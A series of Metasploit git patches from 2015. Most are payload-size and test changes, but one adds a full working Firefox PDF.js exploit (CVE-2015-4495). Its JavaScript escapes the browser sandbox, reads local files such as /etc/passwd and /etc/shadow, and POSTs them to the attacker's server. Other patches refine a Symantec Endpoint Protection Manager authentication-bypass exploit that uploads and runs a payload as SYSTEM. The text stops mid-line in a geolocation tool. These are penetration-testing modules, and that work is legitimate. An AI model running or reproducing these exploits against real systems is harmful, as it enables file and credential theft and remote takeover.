'msf/core/payload/php/reverse_tcp' module Metasploit4 - CachedSize = 936 + CachedSize = 951 include Msf::Payload::Stager include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb index 86c152d0d4..e99e44664a 100644 --- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/php/reverse_tcp' module Metasploit4 - CachedSize = 1110 + CachedSize = 1125 include Msf::Payload::Stager include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 75b1a00929..7350a20022 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 342 + CachedSize = 362 include Msf::Payload::Stager include Msf::Payload::Python::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index ebb0a1d9d5..80b038fdc4 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 446 + CachedSize = 466 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 06d5de4f3e..572d1c282d 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_http' module Metasploit4 - CachedSize = 312 + CachedSize = 327 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index 3ba25412bf..d6f375b31a 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 650 + CachedSize = 665 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 879777dbaf..0b35881fd0 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_https' module Metasploit4 - CachedSize = 332 + CachedSize = 347 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 500506525a..f9a1e0dbf2 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -10,7 +10,7 @@ require 'msf/core/handler/reverse_https_proxy' module Metasploit3 - CachedSize = 391 + CachedSize = 397 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 8b15646f81..4ae5af6697 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 486 + CachedSize = 501 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 08117499f4..8e5a2fc1f5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 517 + CachedSize = 532 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 50b07c1c36..553606f01d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -863,7 +863,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/firefox/exec' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'firefox/exec' end @@ -2320,7 +2320,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/solaris/sparc/shell_find_port' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'solaris/sparc/shell_find_port' end @@ -3886,7 +3886,7 @@ describe 'modules/payloads', :content do modules_pathname: modules_pathname, reference_name: 'windows/x64/powershell_reverse_tcp' end - + context 'windows/x64/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index e325e038da..0a687994e8 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -70,6 +70,7 @@ # `:ancestor_reference_names`. # @return [void] shared_examples_for 'payload cached size is consistent' do |options| + options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name, :dynamic_size) ancestor_reference_names = options.fetch(:ancestor_reference_names) @@ -85,6 +86,30 @@ shared_examples_for 'payload cached size is consistent' do |options| include_context 'Msf::Simple::Framework#modules loading' + datastore = { + } + + opts = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # # lets # @@ -111,6 +136,8 @@ shared_examples_for 'payload cached size is consistent' do |options| ) end + next if reference_name =~ /generic/ + if dynamic_size it 'is dynamic_size?' do pinst = load_and_create_module( @@ -132,7 +159,7 @@ shared_examples_for 'payload cached size is consistent' do |options| ) expect(pinst.cached_size).to_not(be_nil) expect(pinst.dynamic_size?).to be(false) - expect(pinst.cached_size).to eq(pinst.size) + expect(pinst.cached_size).to eq(pinst.generate_simple(opts).size) end end end diff --git a/tools/update_payload_cached_sizes.rb b/tools/update_payload_cached_sizes.rb index 950d519669..1a9d97acaa 100755 --- a/tools/update_payload_cached_sizes.rb +++ b/tools/update_payload_cached_sizes.rb @@ -22,8 +22,11 @@ require 'msf/util/payload_cached_size' framework = Msf::Simple::Framework.create('DisableDatabase' => true) framework.payloads.each_module do |name, mod| - next if Msf::Util::PayloadCachedSize.is_cached_size_accurate?(mod) + next if name =~ /generic/ + mod_inst = framework.payloads.create(name) + #mod_inst.datastore.merge!(framework.datastore) + next if Msf::Util::PayloadCachedSize.is_cached_size_accurate?(mod_inst) $stdout.puts "[*] Updating the CacheSize for #{mod.file_path}..." - Msf::Util::PayloadCachedSize.update_module_cached_size(mod) + Msf::Util::PayloadCachedSize.update_module_cached_size(mod_inst) end From 66148336e10e3a0f97b08dc2d6e9818ca2d544f5 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Fri, 14 Aug 2015 11:48:52 -0500 Subject: [PATCH 070/119] Modify tests to resolve false negative MSP-13064 --- spec/support/shared/examples/msf/db_manager/session.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1ec814058b..5d2f01bd00 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -123,9 +123,15 @@ shared_examples_for 'Msf::DBManager::Session' do end context 'with a match in user_data' do + let(:vuln) do + FactoryGirl.create(:mdm_vuln, + name: parent_module_name, + host: host) + end + let(:user_data) do { - match: FactoryGirl.build(:automatic_exploitation_match), + match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln), match_set: FactoryGirl.build(:automatic_exploitation_match_set), run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace), } From e4cb6872f2a591d7f584fe54f4e216ba2aa14a03 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 14 Aug 2015 12:07:15 -0500 Subject: [PATCH 071/119] Add exploit for CVE-2015-4495, Firefox PDF.js --- .../gather/firefox_pdfjs_file_theft.rb | 273 ++++++++++++++++++ 1 file changed, 273 insertions(+) create mode 100644 modules/auxiliary/gather/firefox_pdfjs_file_theft.rb diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb new file mode 100644 index 0000000000..6d52a81cfa --- /dev/null +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -0,0 +1,273 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox PDF.js Browser File Theft', + 'Description' => %q{ + This module abuses an XSS vulnerability in versions of Firefox 39.0.3, Firefox ESR + before 38.1.1, and Firefox OS before 2.2 that allows arbitrary files to be stolen. + The vulnerability occurs in the PDF.js component, which uses Javascript to render + a PDF inside a frame with privileges to read local files. The in-the-wild malicious + payloads searched for sensitive files on Windows, Linux, and OSX. Android versions + are reported to be unaffected, as they do not use the Mozilla PDF viewer. + }, + 'Author' => [ + 'Unknown', # From an 0day served on Russian news website + 'fukusa', # Hacker news member that reported the issue + 'Unknown' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => + [ + ['URL', 'https://paste.debian.net/290146'], # 0day exploit + ['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer + ['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'], + ['CVE', '2015-4495'] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('FILES', [ + false, + 'Comma-separated list of files to steal', + '/etc/passwd, /etc/shadow' + ]) + ], self.class) + + register_advanced_options([ + OptInt.new('PER_FILE_SLEEP', [ + false, + 'Milliseconds to wait before attempting to read the frame containing each file', + 250 + ]) + ], self.class) + end + + def run + print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}") + exploit + end + + def on_request_uri(cli, request) + if request.method.downcase == 'post' + print_status('Got POST request...') + process_post(cli, request) + send_response_html(cli, '') + else + print_status('Sending exploit...') + send_response_html(cli, html) + end + end + + def process_post(cli, req) + name = req.qstring['name'] + print_good "Received #{name}, size #{req.body.bytes.length}..." + output = store_loot( + name || "data", "text/plain", cli.peerhost, req.body, "firefox_theft", "Firefox PDF.js exfiltrated file" + ) + print_good "Stored to #{output}" + end + + def html + exploit_js = js+file_payload+"}, 20);" + "<!doctype html><html><body><script>#{exploit_js}</script></body></html>" + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + + def file_payload + %Q| + var files = (#{JSON.generate(file_urls)}); + function next() { + var f = files.pop(); + if (f) { + get("file://"+f, function() { + var data = get_data(this); + var x = new XMLHttpRequest; + x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%")); + x.send(data); + }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f); + setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200); + } + } + next(); + | + end + + def file_urls + datastore['FILES'].split(',').map(&:strip) + end + + def js + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+ + '"position:absolute; left:-9999px;" onload = "'+_(function(){ + window.wrappedJSObject.sandboxContext=(function(cmd) { + with(importFunction.constructor('return this')()) { + return eval(cmd); + } + }); + }) + '"/>'); +} + + +var i = document.createElement("iframe"); +i.id = "i"; +i.width=i.height=0; +i.style='position:absolute;left:-9999px;'; +i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>"; +document.documentElement.appendChild(i); +i.onload = function() { + if (this.contentDocument.styleSheets.length > 0) { + var i2 = document.createElement("iframe"); + i2.id = "i2"; + i2.width=i2.height=0; + i2.style='position:absolute;left:-9999px;'; + i2.src = "data:application/pdf,"; + document.documentElement.appendChild(i2); + pdfBlob = new Blob([''], { + type: 'application/pdf' + }); + blobURL = URL.createObjectURL(pdfBlob); + object = document.createElement('object'); + object.data = 'data:application/pdf,'; + object.onload = (function() { + sandbox_context_i = setInterval(get_sandbox_context, 200); + object.onload = null; + object.data = 'view-source:' + location.href; + return; + }); + document.documentElement.appendChild(object); + } else { + this.contentWindow.location.reload(); + } +} + +var kill = setInterval(function() { + if (window.sandboxContext) { + clearInterval(kill); + } else { + return; + } +EOJS + end +end From f25a5da46f11e27aaacc8655015fc3f0568e78d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 12:37:49 -0500 Subject: [PATCH 072/119] Do Minor fixes --- lib/msf/util/payload_cached_size.rb | 8 ++++---- .../shared/examples/payload_cached_size_is_consistent.rb | 3 --- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index e299739664..0063b51ea1 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,7 +14,7 @@ module Util class PayloadCachedSize - @opts = { + OPTS = { 'Format' => 'raw', 'Options' => { 'CPORT' => 4444, @@ -81,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.generate_simple(@opts).size + return mod.generate_simple(OPTS).size end # Determines whether a payload generates a static sized output @@ -92,7 +92,7 @@ class PayloadCachedSize # @return [Fixnum] def self.is_dynamic?(mod, generation_count=5) [*(1..generation_count)].map{|x| - mod.generate_simple(@opts).size}.uniq.length != 1 + mod.generate_simple(OPTS).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -102,7 +102,7 @@ class PayloadCachedSize def self.is_cached_size_accurate?(mod) return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.generate_simple(@opts).size + mod.cached_size == mod.generate_simple(OPTS).size end end diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index 0a687994e8..f1c02204e6 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -86,9 +86,6 @@ shared_examples_for 'payload cached size is consistent' do |options| include_context 'Msf::Simple::Framework#modules loading' - datastore = { - } - opts = { 'Format' => 'raw', 'Options' => { From 82193f11e7e758a6d0c4226e36e97c39eac7e912 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 14:45:29 -0500 Subject: [PATCH 073/119] Minor js fixes --- modules/auxiliary/gather/firefox_pdfjs_file_theft.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 6d52a81cfa..6b776190dc 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -90,7 +90,9 @@ class Metasploit3 < Msf::Auxiliary proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{myhost}#{port_str}#{resource}/catch" end @@ -142,7 +144,9 @@ function get(path, callback, timeout, template, value) { }, "%url%", path); js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; sandboxContext(_(function() { + i = document.getElementById('i'); p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); l = p.__lookupSetter__.call(i2.contentWindow, 'location'); l.call(i2.contentWindow, window.wrappedJSObject.js_call1); })); From a560496455e7b8e31e514b98c13d3cc75b216271 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 14:49:53 -0500 Subject: [PATCH 074/119] Do minor ruby style fixes --- .../gather/firefox_pdfjs_file_theft.rb | 27 ++++++++++--------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 6b776190dc..80e049155d 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Firefox PDF.js Browser File Theft', 'Description' => %q{ - This module abuses an XSS vulnerability in versions of Firefox 39.0.3, Firefox ESR - before 38.1.1, and Firefox OS before 2.2 that allows arbitrary files to be stolen. - The vulnerability occurs in the PDF.js component, which uses Javascript to render - a PDF inside a frame with privileges to read local files. The in-the-wild malicious - payloads searched for sensitive files on Windows, Linux, and OSX. Android versions - are reported to be unaffected, as they do not use the Mozilla PDF viewer. + This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR + 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability + occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with + privileges to read local files. The in-the-wild malicious payloads searched for sensitive + files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they + do not use the Mozilla PDF viewer. }, 'Author' => [ 'Unknown', # From an 0day served on Russian news website @@ -74,25 +74,26 @@ class Metasploit3 < Msf::Auxiliary def process_post(cli, req) name = req.qstring['name'] - print_good "Received #{name}, size #{req.body.bytes.length}..." + print_good("Received #{name}, size #{req.body.bytes.length}...") output = store_loot( - name || "data", "text/plain", cli.peerhost, req.body, "firefox_theft", "Firefox PDF.js exfiltrated file" + name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file' ) - print_good "Stored to #{output}" + print_good("Stored to #{output}") end def html - exploit_js = js+file_payload+"}, 20);" + exploit_js = js + file_payload + '}, 20);' + "<!doctype html><html><body><script>#{exploit_js}</script></body></html>" end def backend_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource - "#{proto}://#{myhost}#{port_str}#{resource}/catch" + "#{proto}://#{my_host}#{port_str}#{resource}/catch" end From 4aa3be7ba2a9b6b4beab0acf74d98af8ea87aec1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 17:00:27 -0500 Subject: [PATCH 075/119] Do ruby fixing and use FileDropper --- .../windows/http/sepm_auth_bypass_rce.rb | 49 +++++++++++-------- 1 file changed, 28 insertions(+), 21 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 06e9a54757..f6deac9ab2 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -8,20 +8,21 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, - 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", + 'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution', 'Description' => %q{ - This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM + This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ - 'bperry', #metasploit module - 'Markus Wulftange' #discovery + 'Markus Wulftange', #discovery + 'bperry' # metasploit module ], 'References' => [ @@ -36,12 +37,14 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', { - 'Arch' => ARCH_X86, - 'Payload' => { - 'DisableNops' => true + [ 'Automatic', + { + 'Arch' => ARCH_X86, + 'Payload' => { + 'DisableNops' => true + } } - } ], + ], ], 'Privileged' => true, 'DisclosureDate' => 'Jul 31 2015', @@ -58,7 +61,7 @@ class Metasploit4 < Msf::Exploit::Remote meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) - print_status("Getting cookie") + print_status("#{peer} - Getting cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), @@ -70,21 +73,21 @@ class Metasploit4 < Msf::Exploit::Remote } }) - unless res - fail_with(Failure::Unknown, 'The server did not respond in an expected way') + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - The server did not respond in an expected way") end cookie = res.get_cookies - if cookie == nil || cookie == '' - fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') + if cookie.nil? || cookie.empty? + fail_with(Failure::Unknown, "#{peer} - The server did not return a cookie") end exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } - print_status('Uploading payload...') + print_status("#{peer} - Uploading payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -100,10 +103,12 @@ class Metasploit4 < Msf::Exploit::Remote }) unless res && res.code == 200 - fail_with(Failure::Unknown, 'Server did not respond in an expected way') + fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end - print_status("Uploading JSP page to execute the payload...") + register_file_for_cleanup("../tomcat/webapps/ROOT/#{meterp}.exe") + + print_status("#{peer} - Uploading JSP page to execute the payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -119,12 +124,14 @@ class Metasploit4 < Msf::Exploit::Remote }) unless res && res.code == 200 - fail_with(Failure::Unknown, 'Server did not respond in an expected way.') + fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end - print_status('Executing payload. Manual cleanup will be required.') + register_file_for_cleanup("../tomcat/webapps/ROOT/#{jsp}.jsp") + + print_status("#{peer} - Executing payload. Manual cleanup will be required.") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") - }) + }, 5) end end From b33abd72cefafb228f81b74eb5a65f7e05fd4890 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 17:03:21 -0500 Subject: [PATCH 076/119] Complete description --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index f6deac9ab2..a61073ba6b 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -16,7 +16,9 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution', 'Description' => %q{ This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities + include an authentication bypass, a directory traversal and a privilege escalation to + get privileged code execution. }, 'License' => MSF_LICENSE, 'Author' => From 3aab9aa74c0c886616a0ea3f3ac9aedd5319bd38 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:13:11 -0500 Subject: [PATCH 077/119] move BSSID checker to tools, fixup rubocop warnings, add OS X example --- lib/rex/google_geolocation.rb | 22 ++-------------------- tools/google_geolocate_bssid.rb | 31 +++++++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 20 deletions(-) create mode 100755 tools/google_geolocate_bssid.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 03284060d1..86d1527b65 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -10,7 +10,6 @@ module Rex # g.fetch! # puts g, g.google_maps_url class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" attr_accessor :accuracy @@ -27,7 +26,7 @@ module Rex def fetch! @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP::new(@uri.host,@uri.port) + http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true response = http.request(request) @@ -37,7 +36,7 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - raise "Failure connecting to Google for location lookup." + fail "Failure connecting to Google for location lookup." end end @@ -61,22 +60,5 @@ module Rex def to_s "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." end - end end - -if $0 == __FILE__ - if ARGV.empty? - $stderr.puts("Usage: #{$0} <mac> [mac] ...") - $stderr.puts("Ask Google for the location of the given set of BSSIDs") - $stderr.puts - $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") - exit(1) - end - g = Rex::GoogleGeolocation.new - ARGV.each do |mac| - 